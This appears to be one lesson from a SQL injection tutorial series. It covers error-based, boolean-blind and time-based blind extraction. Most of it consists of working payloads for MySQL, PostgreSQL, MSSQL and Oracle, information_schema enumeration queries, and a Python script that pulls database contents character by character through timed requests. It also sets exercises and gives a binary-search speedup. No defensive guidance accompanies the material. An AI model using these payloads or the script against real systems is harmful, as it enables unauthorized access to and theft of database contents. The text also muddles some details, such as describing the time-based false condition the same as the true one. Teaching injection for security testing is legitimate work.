Once detection confirmed, escalate from information gathering to data extraction.
MySQL example:
Payload: ' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))--
Result: XPATH syntax error: '~5.7.38~'
↑
Version leaked!
| Function | Purpose | database |
|---|---|---|
extractvalue() |
XPath error for output | MySQL |
updatexml() |
XML error for output | MySQL |
cast() |
Type conversion error | PostgreSQL |
convert() |
Type conversion | MSSQL |
utl_inaddr.get_host_name() |
DNS error | Oracle |
' AND 1=cast((SELECT version()) as int)--
Error: invalid input syntax for integer:
"PostgreSQL 13.4 on x86_64..."No error, no direct output. Only true/false response.
True → Page loads normally, content shown
False → Empty page, different content, or error
-- Check if first letter of version is '5'
' AND SUBSTRING(@@version,1,1)='5'--
Result: True → Version starts with 5 (MySQL 5.x)
Result: False → Different version
-- Binary search for faster extraction
' AND ASCII(SUBSTRING(@@version,1,1))>52--
' AND ASCII(SUBSTRING(@@version,1,1))>54--target: Get database name (8 characters: "database")
Position 1:
' AND SUBSTRING(database(),1,1)='a'-- → False
' AND SUBSTRING(database(),1,1)='b'-- → False
...
' AND SUBSTRING(database(),1,1)='d'-- → TRUE ✓
Position 2:
' AND SUBSTRING(database(),2,1)='a'-- → TRUE ✓
Continue until full string extracted...
If true and false response identical, use time delay as boolean.
True condition: Response in normal time (< 1s)
False condition: Response in normal time
Test payload: Response delay (5s) = condition true
-- MySQL
' AND IF(ASCII(SUBSTRING(@@version,1,1))=53, SLEEP(5), 0)--
-- PostgreSQL
' AND CASE WHEN (ASCII(SUBSTRING(version(),1,1))=80)
THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- MSSQL
'; IF (ASCII(SUBSTRING(@@VERSION,1,1))=77)
WAITFOR DELAY '0:0:5'--
-- Oracle
' AND CASE WHEN (ASCII(SUBSTR((SELECT banner FROM v$version),1,1))=79)
THEN DBMS_LOCK.SLEEP(5) ELSE 0 END--import requests
import time
def extract_char(position):
for char_code in range(32, 127):
payload = f"' AND IF(ASCII(SUBSTRING(@@version,{position},1))={char_code}, SLEEP(2), 0)--"
start = time.time()
requests.get(f"http://target.com/page?id=1{payload}")
elapsed = time.time() - start
if elapsed > 1.5: # Delay detected
return chr(char_code)
return None
# Extract 10 characters
result = ""
for i in range(1, 11):
result += extract_char(i)
print(f"Progress: {result}")-- Get all databases (MySQL)
SELECT schema_name FROM information_schema.schemata
-- Get tables in current database
SELECT table_name FROM information_schema.tables
WHERE table_schema=database()
-- Get columns in specific table
SELECT column_name FROM information_schema.columns
WHERE table_name='users'
-- Count rows
SELECT COUNT(*) FROM users-- Check: Does table 'admin' exist?
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_name='admin')>0--
-- Check: Is first char of first table 'u'?
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables
LIMIT 1),1,1))=117--ASCII range: 32-126 (printable characters)
Instead of: Test 1, 2, 3, 4... (up to 94 tests)
Use: Binary search (max 7 tests per character)
Example: Find character with ASCII 100 ('d')
Range 32-126, mid = 79
100 > 79? Yes → Range 80-126
Mid = 103
100 > 103? No → Range 80-102
Mid = 91
100 > 91? Yes → Range 92-102
Mid = 97
100 > 97? Yes → Range 98-102
Mid = 100
100 == 100? Yes! Found!
Target: http://target.com/login?id=1
Extract database version 1 character at a time using boolean logic.
Same target, but use time delay to extract version.
Implement binary search algorithm to reduce extraction time from 94 to 7 tests per character.
- Error-based = fastest, but requires verbose error messages
- Boolean blind = slower, works with any visible difference
- Time-based = slowest, universal fallback
- Binary search = essential for efficient extraction
- Information schema = roadmap to all data
Continue to 04 - Union Injection for direct data extraction technique.